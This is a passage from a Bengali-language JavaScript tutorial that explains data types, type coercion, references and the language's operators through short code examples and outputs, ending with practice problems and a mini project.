⚠️ ইন্টারভিউ প্রশ্ন: typeof null === "object" জাভাস্ক্রিপ্টের প্রথম সংস্করণের একটি পরিচিত ঐতিহাসিক বাগ। ব্যাকওয়ার্ড কম্প্যাটিবিলিটির জন্য এটি ফিক্স করা হয়নি।
24 BigInt

Number টাইপ 2^53 - 1 এর বেশি বড় পূর্ণসংখ্যায় প্রিসিশন ধরে রাখতে পারে না। বিশাল পূর্ণসংখ্যা নির্ভুলভাবে সংরক্ষণের জন্য BigInt ব্যবহৃত হয়। সংখ্যার শেষে n দিলে BigInt literal তৈরি হয়:

const bigNumber = 123456789012345678901234567890n;
console.log(bigNumber);
Output
123456789012345678901234567890n
25 BigInt Type & Restrictions
JavaScripttypeof BigInt
const num = 12345678901234567890n;
console.log(typeof num); // bigint

const a = 10n;
const b = 20n;
console.log(a + b); // 30n
সতর্কতা: BigInt এবং সাধারণ Number সরাসরি পাটিগণিতে মিশ্রিত করা যায় না: 10n + 20 দিলে TypeError: Cannot mix BigInt and other types হবে!
26 Symbol

Symbol হলো একটি সম্পূর্ণ ইউনিক এবং ইমিউটেবল প্রিমিটিভ ভ্যালু, যা অবজেক্টের হিডেন বা ইউনিক প্রোপার্টি কি তৈরিতে ব্যবহৃত হয়:

const id = Symbol("id");
console.log(id);
27 Symbols are Unique
JavaScriptSymbol Uniqueness
const a = Symbol("id");
const b = Symbol("id");

console.log(a === b);
Output
false

যদিও description একই ("id"), তবুও দুটো Symbol আলাদা।

সহজভাবে: Symbol("id") ≠ Symbol("id") (দুটো Symbol সম্পূর্ণ স্বতন্ত্র। এটা advanced JavaScript-এ অবজেক্ট প্রোপার্টি লুকিয়ে রাখতে কাজে লাগে)।
Part 03 — Non-Primitives: Objects, Arrays & Functions (28 – 34)
28 Object

Object হলো সম্পর্কিত ডেটা এবং ফাংশনালিটিকে Key-Value পেয়ার আকারে সংরক্ষণ করার কাঠামো:

JavaScriptObject Literal
const student = {
    name: "Ripon",
    age: 22,
    department: "CSE"
};
29 Object Data Access

ডট নোটেশন (Dot notation) দিয়ে অবজেক্টের মান অ্যাক্সেস করা যায়:

JavaScriptAccessing Properties
const student = { name: "Ripon", age: 22 };
console.log(student.name);
console.log(student.age);
Output
Ripon
22
30 Array

Array হলো একাধিক value ordered collection হিসেবে রাখার জন্য ব্যবহৃত structure। প্রতিটি element-এর শূন্যভিত্তিক index থাকে:

JavaScriptArray Structure
const fruits = ["Apple", "Mango", "Banana"];
console.log(fruits);
Output
["Apple", "Mango", "Banana"]
Array Element Index Mapping: Apple → 0 Mango → 1 Banana → 2
31 Array is an Object

জাভাস্ক্রিপ্টে Array আসলে বিশেষায়িত Object:

const fruits = ["Apple", "Mango"];
console.log(typeof fruits);
Output
object
32 Function

Function হলো পুনরায় ব্যবহারযোগ্য কোডের ব্লক। জাভাস্ক্রিপ্টে ফাংশন ফার্স্ট-ক্লাস সিটিজেন:

JavaScriptFunction
function greet() {
    console.log("Hello!");
}
greet();
console.log(typeof greet);
Output
Hello!
function
33 Primitive Data Types — Full List
JavaScriptAll 7 Primitives
const name = "Ripon";              // String
const age = 22;                    // Number
const huge = 123456789n;           // BigInt
const isStudent = true;            // Boolean
let result;                        // Undefined
const empty = null;                // Null
const id = Symbol("id");           // Symbol
34 `typeof` Complete Cheat Sheet
Valuetypeof Outputমন্তব্য
"Hello""string"Primitive string
100"number"Primitive numeric
10n"bigint"Arbitrary precision integer
true"boolean"Primitive boolean
undefined"undefined"Declared without value
null"object"⚠️ Historical language quirk
{}"object"Plain object literal
[]"object"Array is a specialized object
function(){}"function"Callable object
Part 04 — Type System, Dynamic Typing & Coercion (35 – 47)
35 Static vs Dynamic Typing

JavaScript একটি dynamically typed language। চলকের টাইপ আগে থেকে নির্ধারণ করতে হয় না, এবং একই ভ্যারিয়েবলে রানটাইমে বিভিন্ন টাইপের মান এসাইন করা যায়:

JavaScriptDynamic Reassignment
let value = 100;
console.log(typeof value); // number

value = "Hello";
console.log(typeof value); // string
Output
number
string
36 JavaScript-এ Type Declaration

জাভাস্ক্রিপ্টে C/Java-এর মতো int age = 22; লিখতে হয় না। let age = 22; লিখলে ইঞ্জিন স্বয়ংক্রিয়ভাবে ভ্যালু দেখে ডেটা টাইপ বুঝে নেয়।

37 Dynamic Typing-এর Real-Life Example
JavaScriptE-commerce State
let product = 500;
console.log(product);

product = "Out of Stock";
console.log(product);
Output
500
Out of Stock
38 Type Conversion

এক টাইপের ডেটাকে অন্য টাইপে রূপান্তর করাকে Type Conversion বলে: String → Number, Number → String, Value → Boolean

39 String to Number
JavaScriptNumber() Conversion
const value = "100";
const number = Number(value);
console.log(number);
console.log(typeof number);
Output
100
number
40 Number to String
JavaScriptString() Conversion
const age = 22;
const text = String(age);
console.log(text);
console.log(typeof text);
Output
22
string
41 Boolean Conversion
JavaScriptBoolean() Conversion
console.log(Boolean(1));
console.log(Boolean(0));
Output
true
false
42 Falsy Values

জাভাস্ক্রিপ্টে ৮টি মান বুলিয়ান কনটেক্সটে সর্বদা false দেয়:

false, 0, -0, 0n, "" (খালি স্ট্রিং), null, undefined, NaN
console.log(Boolean(""));        // false
console.log(Boolean("Hello"));   // true
43 Type Coercion

Type conversion এবং coercion-এর মধ্যে সূক্ষ্ম কিন্তু মৌলিক পার্থক্য রয়েছে:

Type Conversion (Explicit — প্রোগ্রামার নিজে করে)
Number("100"); // 100 (Explicitly সংখ্যায় রূপান্তর)
Type Coercion (Implicit — ইঞ্জিন নিজে করে)
console.log("10" + 5);
Output
105

কারণ এখানে জাভাস্ক্রিপ্ট কনটেক্সট বুঝে 5-কে স্ট্রিং বানিয়ে কনক্যাট করেছে।

44 `+` Operator-এর Interesting Behavior
JavaScriptCoercion Contrast
// + অপারেটর স্ট্রিং পেলে কনক্যাট (যোগ) করে:
console.log("10" + 5); // "105"

// - অপারেটর কেবল সংখ্যা বোঝে, তাই "10"-কে Number বানিয়ে বিয়োগ করে:
console.log("10" - 5); // 5
Output
105
5
45 More Type Coercion Examples
JavaScriptMultiplication & Division Coercion
console.log("5" * 2);  // 10
console.log("10" / 2); // 5
console.log("10" - 3); // 7
console.log("10" + 3); // 103
Output
10
5
7
103
46 Explicit vs Implicit Conversion
Explicit Conversion (Developer নিজে রূপান্তর করছে)
const age = Number("22");
Implicit Conversion (JavaScript Engine নিজে রূপান্তর করছে)
console.log("22" - 2);
Output
20
47 Equality-এর Basic Introduction

JavaScript-এ দুই ধরনের equality operator আছে: == এবং ===। এগুলো অত্যন্ত গুরুত্বপূর্ণ এবং পরবর্তী Chapter 3 (Operators)-এ বিস্তারিত আলোচনা করা হবে। নিচে এদের মৌলিক পার্থক্য তুলে ধরা হলো:

Loose Equality `==` (Type Coercion করে)
console.log(5 == "5");
Output
true
Strict Equality `===` (Value ও Type দুটোই Compare করে)
console.log(5 === "5");
Output
false
Loose Equality ==Strict Equality ===
তুলনার আগে স্বয়ংক্রিয় টাইপ রূপান্তর (Coercion) ঘটায়মান (Value) এবং টাইপ (Type) উভয়ই কঠোরভাবে পরীক্ষা করে
5 == "5"true5 === "5"false
⭐ Beginner Rule: Modern JavaScript-এ সাধারণত comparison-এর জন্য সর্বদা === ব্যবহার করা বেশি predictable ও নিরাপদ।
Part 05 — Memory Model, References & Immutability (48 – 55)
48 Primitive Values are Immutable

Primitive values-কে সাধারণভাবে immutable বলা হয়। এর মানে primitive value-কে সরাসরি modify করা যায় না; নতুন value তৈরি হয়।

JavaScriptImmutability
let name = "Ripon";
name[0] = "X"; // String-এর character এভাবে modify হয় না
console.log(name);
Output
Ripon

যদি নতুন value দিতে চাও, তবে নতুন value assign করতে হবে:

name = "Xipon"; // এখানে নতুন String value assign হচ্ছে — আগের String পরিবর্তন হচ্ছে না
49 Primitive vs Reference — Copying Behavior

প্রিমিটিভে Value Copy হয়:

JavaScriptPass by Value
let a = 10;
let b = a;
b = 20;

console.log(a); // 10
console.log(b); // 20
Output
10
20
50 Object Reference Example

অবজেক্টের ক্ষেত্রে ভ্যালু কপি হয় না, মেমোরি Reference (ঠিকানা) শেয়ার হয়:

JavaScriptPass by Reference
const person1 = { name: "Ripon" };
const person2 = person1;

person2.name = "Shariar"; // person2 দিয়ে পরিবর্তন করা হলো

console.log(person1.name);
console.log(person2.name);
Output
Shariar
Shariar
person1 ──────┐ ↓ ┌─────────┐ │ Object │ │ name: │ │ Shariar │ └─────────┘ ↑ person2 ──────┘
51 `const` Object নিয়ে Important বিষয়

অনেকে ভাবে: const হলে object-এর ভিতরের value change করা যাবে না। এটা পুরোপুরি ঠিক নয়।

JavaScriptMutating Const Object
const user = {
  name: "Ripon"
};

user.name = "Shariar"; // প্রোপার্টি পরিবর্তন করা সম্পূর্ণ বৈধ!
console.log(user.name);
Output
Shariar

কাজ করেছে। কিন্তু অবজেক্টের ভ্যারিয়েবল বাইন্ডিং রি-অ্যাসাইন করা যাবে না:

// user = {};
// ❌ TypeError: Assignment to constant variable!
// কারণ const binding-কে নতুন object-এ reassign করা যাবে না।
52 `const` Array-এর ক্ষেত্রেও একই ধারণা
JavaScriptMutating Const Array
const fruits = ["Apple", "Mango"];
fruits.push("Banana"); // সম্পূর্ণ বৈধ!
console.log(fruits);

// fruits = ["Orange"]; // TypeError: Assignment to constant variable!
Output
["Apple", "Mango", "Banana"]
53 Memory Concept — Basic Mental Model
Primitive: a = 10 ──→ [ 10 ] (স্বতন্ত্র কপি) b = a ──→ [ 10 ] (স্বতন্ত্র কপি) Object: person1 ──┐ ├──→ [ { name: "Shariar" } ] (একই মেমোরি রেফারেন্স) person2 ──┘
54 A Complete Example

এই অধ্যায়ের সমস্ত ডেটা টাইপের সমন্বয়ে একটি বাস্তব উদাহরণ:

JavaScriptSynthesized Suite
const name = "Shariar";
let age = 22;
const cgpa = 3.75;
const isStudent = true;
let university;
const address = null;
const skills = ["HTML", "CSS", "JavaScript"];
const student = { name, age, cgpa };

console.log(name, age, cgpa, isStudent, university, address);
console.log(skills);
console.log(student);
Output
Shariar 22 3.75 true undefined null
["HTML", "CSS", "JavaScript"]
{ name: 'Shariar', age: 22, cgpa: 3.75 }
55 Data Types Cheat Sheet
Data TypeExampletypeof Output
String"Hello""string"
Number100"number"
BigInt100n"bigint"
Booleantrue"boolean"
Undefinedundefined"undefined"
Nullnull"object"*
SymbolSymbol("id")"symbol"
Object{name: "Ripon"}"object"
Array[1, 2, 3]"object"
Functionfunction(){}"function"

🧠 Chapter 2 — Core Concepts You Must Remember

1️⃣ Data: Program যে information নিয়ে কাজ করে।
2️⃣ Data Type: Value-এর ধরন ও অপারেশন নির্দেশ করে।
3️⃣ Primitive: 7টি ইমিউটেবল বেসিক মান (String, Number, BigInt, Boolean, Undefined, Null, Symbol)।
4️⃣ Non-Primitive: Object, Array, Function (Reference based)।
5️⃣ Dynamic Typing: রানটাইমে ভ্যালু অনুযায়ী টাইপ পরিবর্তিত হয়।
6️⃣ Type Conversion: ডেভেলপার নিজে রূপান্তর করে (Explicit)।
7️⃣ Type Coercion: ইঞ্জিন স্বয়ংক্রিয়ভাবে রূপান্তর করে (Implicit)।
8️⃣ `typeof`: রানটাইমে টাইপ চেক করার অপারেটর।
9️⃣ `==` vs `===`: Loose (coercion সহ) বনাম Strict Equality।
🔟 Primitive vs Object: Value Copy বনাম Memory Reference Share।

🧪 Chapter 2 — Practice Problems

Practice 1:
const name = "Ripon";
const age = 22;
const cgpa = 3.75;
const isStudent = true;

console.log(typeof name, typeof age, typeof cgpa, typeof isStudent);

আউটপুট কী হবে? (Expected: string number number boolean)

Practice 2 (Coercion Prediction):
console.log("10" + 5);
console.log("10" - 5);
console.log("10" * 2);
console.log("10" / 2);

আউটপুট প্রেডিক্ট করো। (Expected: "105", 5, 20, 5)

Practice 3 (Boolean Values):
console.log(Boolean(0));
console.log(Boolean(1));
console.log(Boolean(""));
console.log(Boolean("JavaScript"));
console.log(Boolean(null));
console.log(Boolean(undefined));
Practice 4 (Dynamic Typing):
let value = 100;
console.log(typeof value);
value = "JavaScript";
console.log(typeof value);
value = true;
console.log(typeof value);
Practice 5 (Object Reference Trap):
const user1 = { name: "Ripon" };
const user2 = user1;
user2.name = "Shariar";
console.log(user1.name); // আউটপুট কেন "Shariar" হবে তা ব্যাখ্যা করো!

🎯 Mini Project — Student Data Profile

JavaScriptStudent Profile Script
const name = "Shariar";
const age = 22;
const studentId = "231-15-010";
const cgpa = 3.75;
const isStudent = true;
const skills = ["HTML", "CSS", "JavaScript"];
const address = { city: "Dhaka", country: "Bangladesh" };

console.log("Name:", name);
console.log("Age:", age);
console.log("Student ID:", studentId);
console.log("CGPA:", cgpa);
console.log("Student:", isStudent);
console.log("Skills:", skills);
console.log("Address:", address);

📌 Chapter 2 Final Mental Map

JavaScript Data │ ┌────────────┴────────────┐ │ │ Primitive Non-Primitive │ │ ┌────────┼────────┐ │ │ │ │ ↓ String Number Boolean Object │ │ │ │ BigInt Undefined Null ┌───┼────┐ │ │ │ │ │ │ Symbol │ │ Object Array Function │ └──────→ typeof │ Type Conversion │ Type Coercion

Chapter 2-এর core foundation এখানেই। এর পরের logical step হলো Chapter 3 — Operators & Expressions, যেখানে +, -, *, /, %, **, assignment, comparison, logical, ternary, nullish coalescing এবং optional chaining বিস্তারিত শেখা হবে।

Chapter 03
↑ Index
Operators & Expressions — অপারেটর ও এক্সপ্রেশন
Total Sections
89 Modules + Practice
Curriculum Part
Part 01 — Fundamentals (3/3)
Core Mechanics
Arithmetic, Logic & Precedence
Reference Standard
ECMAScript 2026 / V8 Runtime

Operators, Expressions এবং JavaScript-এ Data নিয়ে কাজ করা

Chapter 2-এ আমরা Data Types নিয়ে বিস্তারিত জেনেছি। কিন্তু শুধু data জমা রাখলে program চলে না। Program চলার জন্য data নিয়ে হিসাব করতে হয়, তুলনা করতে হয় এবং সিদ্ধান্ত নিতে হয়। এই সব কাজের জন্য প্রয়োজন Operators এবং Expressions

Part 01 — Operators, Operands & Expressions (1 – 4)
1 What is an Operator?
English: An operator is a symbol or keyword that tells JavaScript to perform an operation.
বাংলা: Operator হলো এমন একটি symbol বা keyword যা JavaScript-কে কোনো নির্দিষ্ট operation করতে বলে।

Example:

JavaScriptExample
10 + 5

এখানে:

10 → Operand + → Operator 5 → Operand

Result:

15
সহজভাবে
Operand + Operator + Operand 10 + 5 ↓ 15
2 What is an Operand?

Operator যে value-এর উপর কাজ করে, তাকে operand বলে।

Example:

JavaScriptExample
20 - 8

এখানে:

20 → Operand - → Operator 8 → Operand

আর:

JavaScriptExample
x * 10

এখানে:

x → Operand * → Operator 10 → Operand
3 What is an Expression?
English: An expression is a piece of code that produces a value.
বাংলা: Expression হলো এমন code যা একটি value produce করে।

Example:

JavaScriptExample
10 + 20

Result:

30

আর:

JavaScriptExample
age >= 18

Result হতে পারে:

true
আরও Example
JavaScriptExample
5 * 10
JavaScriptExample
"Hello" + " World"
JavaScriptExample
20 > 10

সবগুলো expression।

4 Types of Operators

JavaScript-এ অনেক ধরনের operator রয়েছে।

আমরা এই chapter-এ শিখব:

1. Arithmetic Operators

2. Assignment Operators

3. Comparison Operators

4. Equality Operators

5. Logical Operators

6. Unary Operators

7. Increment/Decrement

8. Ternary Operator

9. Nullish Coalescing Operator

10. Optional Chaining

11. Bitwise Operators

12. typeof

13. in

14. instanceof

15. Operator Precedence

Part 02 — Arithmetic Operators & Modulus (5 – 15)
5 Arithmetic Operators

Arithmetic operators mathematical calculation করার জন্য ব্যবহার হয়।

প্রধান arithmetic operators:

+ Addition - Subtraction * Multiplication / Division % Modulus ** Exponentiation
6 Addition +
JavaScriptExample
const a = 10;
const b = 20;

console.log(a + b);

Output:

30
Real-life Example

ধরো:

Product = ৳500 Delivery = ৳100
JavaScriptExample
const productPrice = 500;
const deliveryCharge = 100;

const total = productPrice + deliveryCharge;

console.log(total);

Output:

600
7 String Concatenation with +

+ শুধু number যোগ করে না। String combine-ও করতে পারে।

JavaScriptExample
const firstName = "Shariar";
const lastName = "Ripon";

console.log(firstName + " " + lastName);

Output:

Shariar Ripon
8 Subtraction -
JavaScriptExample
const a = 50;
const b = 20;

console.log(a - b);

Output:

30
Real-life
JavaScriptExample
const balance = 1000;
const expense = 250;

const remaining = balance - expense;

console.log(remaining);

Output:

750
9 Multiplication *
JavaScriptExample
const price = 500;
const quantity = 3;

console.log(price * quantity);

Output:

1500
Real-life

একটি product-এর price ৳500 এবং quantity 3 হলে total:

500 × 3 = 1500
10 Division /
JavaScriptExample
const totalMarks = 400;
const subjects = 4;

console.log(totalMarks / subjects);

Output:

100
11 Modulus %

এটা খুব important।

% remainder বা ভাগশেষ বের করে।

JavaScriptExample
console.log(10 % 3);

Output:

1

কারণ:

10 ÷ 3 3 × 3 = 9 10 - 9 = 1

তাই:

10 % 3 = 1
12 Modulus-এর Real-Life Use

একটি number even না odd সেটা বের করতে % ব্যবহার করা যায়।

JavaScriptExample
const number = 10;

console.log(number % 2);

Output:

0

কারণ 10 সম্পূর্ণভাবে 2 দিয়ে divisible।

আর:

JavaScriptExample
const number = 7;

console.log(number % 2);

Output:

1
13 Even / Odd Concept
JavaScriptExample
const number = 15;

if (number % 2 === 0) {
    console.log("Even");
} else {
    console.log("Odd");
}

Output:

Odd

এখানে আমরা ব্যবহার করেছি:

  • %
  • ===
  • if
  • else

if/else আমরা পরের chapter-এ বিস্তারিত শিখব।

14 Exponentiation **

Power বা exponent বের করার জন্য:

JavaScriptExample
console.log(2 ** 3);

Output:

8

কারণ:

2 × 2 × 2 = 8

আর:

JavaScriptExample
console.log(5 ** 2);

Output:

25
15 Arithmetic Operators Summary
OperatorকাজExampleResult
+Addition10 + 515
-Subtraction10 - 55
*Multiplication10 * 550
/Division10 / 52
%Remainder10 % 31
**Power2 ** 38
Part 03 — Assignment & Compound Assignment (16 – 24)
16 Assignment Operator =

= হলো assignment operator।

এটি comparison করে না।

JavaScriptExample
let age = 22;

এর অর্থ:

age variable-এর মধ্যে 22 value assign করো।
17 Reassignment
JavaScriptExample
let score = 50;

score = 80;

console.log(score);

Output:

80

প্রথমে:

score → 50

পরে:

score → 80
18 Compound Assignment Operators

JavaScript-এ shortcut assignment operator আছে।

+= -= *= /= %= **=
19 +=
JavaScriptExample
let score = 50;

score += 10;

console.log(score);

Output:

60

এটা essentially:

JavaScriptExample
score = score + 10;

এর shortcut।

20 -=
JavaScriptExample
let balance = 1000;

balance -= 250;

console.log(balance);

Output:

750

Equivalent:

JavaScriptExample
balance = balance - 250;
21 *=
JavaScriptExample
let price = 100;

price *= 5;

console.log(price);

Output:

500

Equivalent:

JavaScriptExample
price = price * 5;
22 /=
JavaScriptExample
let amount = 1000;

amount /= 4;

console.log(amount);

Output:

250
23 %=
JavaScriptExample
let number = 17;

number %= 5;

console.log(number);

Output:

2

কারণ:

17 % 5 = 2
24 **=
JavaScriptExample
let number = 2;

number **= 3;

console.log(number);

Output:

8

Equivalent:

JavaScriptExample
number = number ** 3;
Part 04 — Comparison & Equality Operators (25 – 35)
25 Comparison Operators

Comparison operator দুইটি value compare করে এবং সাধারণত Boolean result দেয়:

true false

প্রধান operators:

> < >= <= == === != !==
26 Greater Than >
JavaScriptExample
console.log(10 > 5);

Output:

true

কারণ 10 বড় 5 থেকে।

27 Less Than <
JavaScriptExample
console.log(5 < 10);

Output:

true
28 Greater Than or Equal >=
JavaScriptExample
console.log(10 >= 10);

Output:

true

কারণ 10, 10-এর সমান।

আর:

JavaScriptExample
console.log(15 >= 10);

Output:

true
29 Less Than or Equal <=
JavaScriptExample
console.log(10 <= 10);

Output:

true
30 Loose Equality ==

== value compare করার সময় type coercion করতে পারে।

JavaScriptExample
console.log(5 == "5");

Output:

true

কারণ JavaScript এখানে type conversion করে comparison করতে পারে।

31 Strict Equality ===

=== value এবং type—দুটোই compare করে।

JavaScriptExample
console.log(5 === "5");

Output:

false

কারণ:

5 → number "5" → string

Value দেখতে একই হলেও type আলাদা।

32 == vs ===

এটা খুব ভালোভাবে মনে রাখবে।

JavaScriptExample
console.log(10 == "10");

Output:

true

কিন্তু:

JavaScriptExample
console.log(10 === "10");

Output:

false
Beginner/Modern JS Rule ⭐

সাধারণত comparison করার সময়:

JavaScriptExample
===

এবং:

JavaScriptExample
!==

ব্যবহার করা বেশি predictable।

33 Loose Inequality !=

!= value equal নয় কিনা check করে এবং type coercion করতে পারে।

JavaScriptExample
console.log(5 != "5");

Output:

false

কারণ loose comparison অনুযায়ী তারা equal।

34 Strict Inequality !==

!== value অথবা type—যেকোনো একটি আলাদা হলে true দেয়।

JavaScriptExample
console.log(5 !== "5");

Output:

true

কারণ type আলাদা।

35 Comparison Summary
OperatorMeaning
>Greater than
<Less than
>=Greater than or equal
<=Less than or equal
==Loose equality
===Strict equality
!=Loose inequality
!==Strict inequality
Part 05 — Logical & Short-Circuit Operators (36 – 54)
36 Logical Operators

Logical operators একাধিক condition/value নিয়ে কাজ করতে পারে।

প্রধান তিনটি:

&& AND || OR ! NOT
37 AND &&

&& তখন true হয় যখন দুই পাশের condition-ই truthy/true হয়।

JavaScriptExample
console.log(true && true);

Output:

true

কিন্তু:

JavaScriptExample
console.log(true && false);

Output:

false
Truth Table
AB`A && B`
truetruetrue
truefalsefalse
falsetruefalse
falsefalsefalse
38 Real-Life AND Example

ধরো কোনো website-এ checkout করার জন্য:

User logged in AND Cart is not empty

দুটোই true হতে হবে।

JavaScriptExample
const isLoggedIn = true;
const hasItems = true;

console.log(isLoggedIn && hasItems);

Output:

true
39 OR ||

||-এর ক্ষেত্রে অন্তত একটি operand truthy হলে result truthy হতে পারে।

JavaScriptExample
console.log(true || false);

Output:

true
Truth Table
AB`AB`
truetruetrue
truefalsetrue
falsetruetrue
falsefalsefalse
40 Real-Life OR Example

ধরো login করা যাবে:

Google account OR Email/password

যেকোনো একটি থাকলেই চলবে।

JavaScriptExample
const hasGoogleLogin = false;
const hasEmailLogin = true;

console.log(hasGoogleLogin || hasEmailLogin);

Output:

true
41 NOT !

! Boolean value উল্টে দেয়।

JavaScriptExample
console.log(!true);

Output:

false

আর:

JavaScriptExample
console.log(!false);

Output:

true
42 Real-Life NOT Example
JavaScriptExample
const isLoggedIn = false;

console.log(!isLoggedIn);

Output:

true

কারণ:

isLoggedIn = false !false = true
43 Double NOT !!

!! কোনো value-কে Boolean-এ convert করার একটি common technique।

JavaScriptExample
console.log(!!"Hello");

Output:

true

আর:

JavaScriptExample
console.log(!!0);

Output:

false

কারণ প্রথম ! এবং দ্বিতীয় ! মিলিয়ে Boolean conversion-এর মতো behavior দেয়।

44 Logical Operators শুধু Boolean Return করে?

এখানে JavaScript-এর একটি খুব important behavior আছে।

&& এবং || সবসময় true বা false return করে না।

তারা operand-এর actual value return করতে পারে।

Example:

JavaScriptExample
console.log("Hello" && "World");

Output:

World

কারণ "Hello" truthy, তাই && পরের operand evaluate করে এবং "World" return করে।

45 && Short-Circuit
JavaScriptExample
console.log(false && "Hello");

Output:

false

কারণ প্রথম value-ই falsy।

JavaScript দ্বিতীয় operand-এর দিকে যেতে হয় না।

এটাকে বলে:

Short-circuit evaluation
46 || Short-Circuit
JavaScriptExample
console.log("Hello" || "World");

Output:

Hello

কারণ "Hello" truthy।

JavaScript প্রথম truthy value পেয়ে থেমে গেছে।

47 Practical Default Value Pattern

পুরোনো/common pattern:

JavaScriptExample
const username = userInput || "Guest";

console.log(username);

যদি userInput falsy হয়, "Guest" ব্যবহার হবে।

তবে মনে রাখবে—|| সব falsy value-কে fallback হিসেবে treat করে।

এজন্য modern JavaScript-এ অনেক ক্ষেত্রে ?? বেশি precise।

48 Nullish Coalescing ??

?? হলো modern JavaScript-এর খুব useful operator।

এটি fallback দেয় যখন left side:

null

অথবা:

undefined

হয়।

Example:

JavaScriptExample
const username = null;

console.log(username ?? "Guest");

Output:

Guest
49 ?? vs ||

এটা খুব important।

JavaScriptExample
console.log(0 || 100);

Output:

100

কারণ 0 falsy।

কিন্তু:

JavaScriptExample
console.log(0 ?? 100);

Output:

0

কারণ 0 null বা undefined নয়।

তাই:
|| → সব falsy value-এর ক্ষেত্রে fallback হতে পারে ?? → শুধু null বা undefined-এর ক্ষেত্রে fallback
50 Practical Example of ??

ধরো user's age 0 valid value হতে পারে।

JavaScriptExample
const age = 0;

console.log(age ?? 18);

Output:

0

কিন্তু:

JavaScriptExample
console.log(age || 18);

Output:

18

তাই context অনুযায়ী operator নির্বাচন করতে হবে।

51 Optional Chaining ?.

ধরো একটি nested object:

JavaScriptExample
const user = {
    profile: {
        name: "Ripon"
    }
};

তুমি লিখতে পারো:

JavaScriptExample
console.log(user.profile.name);

Output:

Ripon

কিন্তু যদি profile না থাকে?

JavaScriptExample
const user = {};

console.log(user.profile.name);

এতে error হবে।

52 Optional Chaining দিয়ে
JavaScriptExample
const user = {};

console.log(user.profile?.name);

Output:

undefined

?. বলে:

যদি এই property/object null বা undefined হয়, তাহলে error না দিয়ে undefined return করো।
53 Optional Chaining Example
JavaScriptExample
const user = {
    profile: {
        address: {
            city: "Dhaka"
        }
    }
};

console.log(user.profile?.address?.city);

Output:

Dhaka

আর:

JavaScriptExample
const user = {};

console.log(user.profile?.address?.city);

Output:

undefined
54 Optional Chaining with Functions

?.() দিয়ে optional function call করা যায়।

JavaScriptExample
const user = {
    greet() {
        console.log("Hello!");
    }
};

user.greet?.();

Output:

Hello!

যদি function না থাকে:

JavaScriptExample
const user = {};

user.greet?.();

তাহলে error না দিয়ে call skip করতে পারে।

Part 06 — Unary, Increment, Ternary & Bitwise (55 – 75)
55 Increment Operator ++

Variable-এর value 1 বাড়াতে:

JavaScriptExample
let count = 5;

count++;

console.log(count);

Output:

6

Equivalent:

JavaScriptExample
count = count + 1;
56 Decrement Operator --

Value 1 কমাতে:

JavaScriptExample
let count = 5;

count--;

console.log(count);

Output:

4

Equivalent:

JavaScriptExample
count = count - 1;
57 Prefix vs Postfix

এটা একটু tricky।

Postfix
JavaScriptExample
let x = 5;

console.log(x++);

Output:

5

কিন্তু পরে:

JavaScriptExample
console.log(x);

Output:

6
Prefix
JavaScriptExample
let x = 5;

console.log(++x);

Output:

6
Difference
x++ → আগে old value use, পরে increment ++x → আগে increment, পরে new value use
58 Prefix/ Postfix Example
JavaScriptExample
let a = 10;

let b = a++;

console.log(a);
console.log(b);

Output:

11 10

কারণ a++ প্রথমে 10 return করেছে, তারপর a হয়েছে 11

এখন:

JavaScriptExample
let a = 10;

let b = ++a;

console.log(a);
console.log(b);

Output:

11 11

কারণ ++a আগে increment করেছে।

59 Unary Operators

যে operator একটি operand-এর উপর কাজ করে তাকে unary operator বলা হয়।

Examples:

JavaScriptExample
typeof value
JavaScriptExample
!value
JavaScriptExample
++value
JavaScriptExample
--value

এখানে এক operand নিয়ে operation হচ্ছে।

60 Unary Plus +

String number-কে number-এ convert করার জন্য unary + ব্যবহার করা যায়।

JavaScriptExample
const value = "100";

console.log(+value);

Output:

100

Type:

JavaScriptExample
console.log(typeof +value);

Output:

number

তবে beginner হিসেবে explicit:

JavaScriptExample
Number(value)

অনেক সময় বেশি readable।

61 Unary Minus -
JavaScriptExample
const value = "10";

console.log(-value);

Output:

-10

এখানে string "10" numeric conversion-এর মধ্য দিয়ে গেছে।

62 Ternary Operator ? :

Ternary operator হলো ছোট if/else condition লেখার concise way।

Syntax:

JavaScriptExample
condition ? valueIfTrue : valueIfFalse

Example:

JavaScriptExample
const age = 20;

const result = age >= 18 ? "Adult" : "Minor";

console.log(result);

Output:

Adult
63 Ternary Operator Breakdown

এই code:

JavaScriptExample
const result = age >= 18 ? "Adult" : "Minor";

মানে:

যদি age >= 18 ↓ Adult নাহলে ↓ Minor
64 Real-Life Ternary Example
JavaScriptExample
const isLoggedIn = true;

const message = isLoggedIn
    ? "Welcome back!"
    : "Please login";

console.log(message);

Output:

Welcome back!
কখন ব্যবহার করবে?

Simple condition-এর জন্য।

খুব complex condition হলে normal if/else বেশি readable।

65 Bitwise Operators

এগুলো comparatively advanced।

Bitwise operators number-এর binary representation-এর bit নিয়ে কাজ করে।

প্রধান operators:

& | ^ ~ << >> >>>

এগুলো web development-এর daily beginner work-এ খুব বেশি লাগে না, কিন্তু JavaScript language-এর অংশ হিসেবে জানা উচিত।

66 Bitwise AND &
JavaScriptExample
console.log(5 & 3);

Binary:

5 → 101 3 → 011

AND:

101 011 --- 001

001 = 1

Output:

1
67 Bitwise OR |
JavaScriptExample
console.log(5 | 3);

Binary:

101 011 --- 111

111 = 7

Output:

7
68 Bitwise XOR ^
JavaScriptExample
console.log(5 ^ 3);

Binary:

101 011 --- 110

110 = 6

Output:

6
69 Bitwise NOT ~
JavaScriptExample
console.log(~5);

Output:

-6

এটা two's complement representation-এর কারণে হয়।

Bitwise concepts low-level programming, flags, certain algorithms ইত্যাদিতে useful হতে পারে।

70 Left Shift <<
JavaScriptExample
console.log(5 << 1);

Output:

10

Binary:

5 = 101 101 << 1 = 1010 = 10
71 Right Shift >>
JavaScriptExample
console.log(10 >> 1);

Output:

5
72 Zero-fill Right Shift >>>
JavaScriptExample
console.log(10 >>> 1);

Output:

5

>> এবং >>> negative number-এর ক্ষেত্রে গুরুত্বপূর্ণভাবে আলাদা behave করতে পারে।

73 typeof Operator

Chapter 2-এ আমরা এটা দেখেছি।

JavaScriptExample
const name = "Ripon";

console.log(typeof name);

Output:

string

আর:

JavaScriptExample
console.log(typeof 100);

Output:

number
74 in Operator

in দিয়ে object-এর মধ্যে কোনো property আছে কিনা check করা যায়।

JavaScriptExample
const user = {
    name: "Ripon",
    age: 22
};

console.log("name" in user);

Output:

true

আর:

JavaScriptExample
console.log("email" in user);

Output:

false
75 instanceof

instanceof দিয়ে কোনো object কোনো constructor/class-এর instance কিনা check করা যায়।

JavaScriptExample
const fruits = [];

console.log(fruits instanceof Array);

Output:

true

আর:

JavaScriptExample
